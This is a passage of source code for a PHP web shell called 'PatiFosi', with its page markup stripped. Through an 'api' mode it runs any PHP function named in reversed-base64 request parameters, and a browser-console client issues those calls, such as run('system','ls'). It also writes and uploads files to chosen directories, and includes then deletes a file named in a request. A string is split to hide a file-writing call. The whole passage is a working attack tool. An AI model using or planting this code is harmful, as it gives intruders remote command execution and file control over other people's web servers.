"28 Mei 2018", "new date"=>"16 Mei 2020"); // sorry for bad code // // just for fun // // checked type if($type){ $typeChecked = "checked"; }; // checked iframe if($sec){ $cekSec = "checked"; }; // chdir if($dirGet){ chdir($dirGet); }; // directory $dirNow = getcwd(); // button encode if($enc){ $encButton = 'enc()'; }else{ $encButton = ''; }; // upl dir if($uplto){ $uplto = $uplto; }else{ $uplto = $dirNow; }; // save dir if($saveto){ $saveto = $saveto; }else{ $saveto = $dirNow; }; // input dir if($inDir){ $inputDir = "dir
"; } else { $Hidinput = ""; }; // codemirror library in mode=edit if($mode == edit){ $codemirror = " "; }; // ?mode=api if($mode == api){ $dirGet = dec($_GET['dir']); $func = dec($_GET['func']); $arg = dec($_GET['arg']); chdir($dirGet); if (function_exists($func)) { @die($func($arg)); }else{ echo 'failed'; } exit; } $apiJs = "var dirNow = '$dirNow'; var func; var arg; var login = '$host$sc?$param=$pass'; var api = login+'&mode=api'; var reqDir = api+'&dir='+rev(btoa(dirNow)).replace('=', '-'); clear(); function dir(){ console.log(dirNow); }; function cd(a){ dirNow = a; var b = rev(btoa(a)).replace('=', '-'); reqDir = api+'&dir='+b console.log(dirNow); }; function go(a){ var xmlhttp = new XMLHttpRequest(); xmlhttp.timeout = 600000; xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { console.log(this.responseText); } }; xmlhttp.ontimeout = function (e) { console.log('time out'); }; xmlhttp.open('GET', a, true); xmlhttp.send(); };" . ' function clear(){ console.clear(); console.log("%cPatiFosi", "background:#ff6b81; color:#2f3542; font-size:30px; font-family: Arial, Helvetica, sans-serif;"); console.log("dir()\t\t\t\t\t\/\/ show dir now\r\ncd(\"\/www\/html\/tmp\")\t\t\/\/ change dir\r\nrun(\"system\", \"ls\")\t\t\/\/ run command\r\nclear()"); }' . " function run(f, n){ f = rev(btoa(f)).replace('=', '-'); n = rev(btoa(n)).replace('=', '-'); l = reqDir+'&func='+f+'&arg='+n; go('//'+l); }; "; // ?mode=iframe if($mode == iframe){ die("PatiFosi"); exit; } // run code if($_POST['run']){ $code = $_POST['code']; if($_POST['tmp']){ $tmp_file = dec($_POST['tmp']); }else{ $tmp_file = tempnam(sys_get_temp_dir(), ''); }; if(file_put_contents("$tmp_file","$code")){ $tmp_run = " run click here -> $tmp_file"; }else{ $tmp_run = " failed saving tmp -> $tmp_file"; }; }; if($_GET['run']){ $runIn = $_GET['run']; include "$runIn"; unlink($runIn); exit; }; // header html echo " PatiFosi $codemirror

PatiFosi

$host @ $dirNow [Home]
[command] - [edit] - [about]


"; // mode command if ($mode == "command") { $arg2 = htmlspecialchars($arg, ENT_QUOTES, 'UTF-8'); echo "
$Hidinput $inputDir
iframe
func
arg

array

";
      
          if($type == 'checked'){
          echo "var_dump($func($arg));
"; if (function_exists($func)) { if($sec == 'y'){ ob_start(); @var_dump($func($arg)); $run = ob_get_clean(); echo("
"); } else { @var_dump($func($arg)); } } } else { if (function_exists($func)) { if($sec == 'y'){ ob_start(); echo($func($arg)); $run = ob_get_clean(); echo "echo($func($arg));
"; echo(""); } else { echo "die($func($arg));
"; @die($func($arg)); } } } // mode edit } elseif ($mode == "edit") { $arg2 = htmlspecialchars($arg, ENT_QUOTES, 'UTF-8'); echo "
$Hidinput $inputDir
func
arg

ob


upload


save


"; echo "

"; if(isset($_POST['savesubmit'])){ if(!chdir($saveto)){ die(" directory not exist -> $saveto"); }; $fpc = 'file_p' . 'ut_contents'; $write = $fpc($file, $_POST['code']); if($write) { die(" saved -> $file"); } else { die(" failed save -> $file"); } } elseif(isset($_POST['uploadsubmit'])){ if(!chdir($uplto)){ die(" directory not exist -> $uplto"); }; $uploadname = $_FILES['datupload']['name']; $uploadtmp = $_FILES['datupload']['tmp_name']; $write = copy($uploadtmp, $uploadname); if($write) { die(" uploaded -> $uploadname"); } else { die(" failed upload -> $uploadname"); } } elseif($tmp_run){ die("$tmp_run"); }; // mode about } elseif ($mode == "about") { echo '

var_dump($w);
'; echo var_dump($w); } else { echo "
what ar u doin?
dont forget to open console.log

[Go to iframe mode] "; };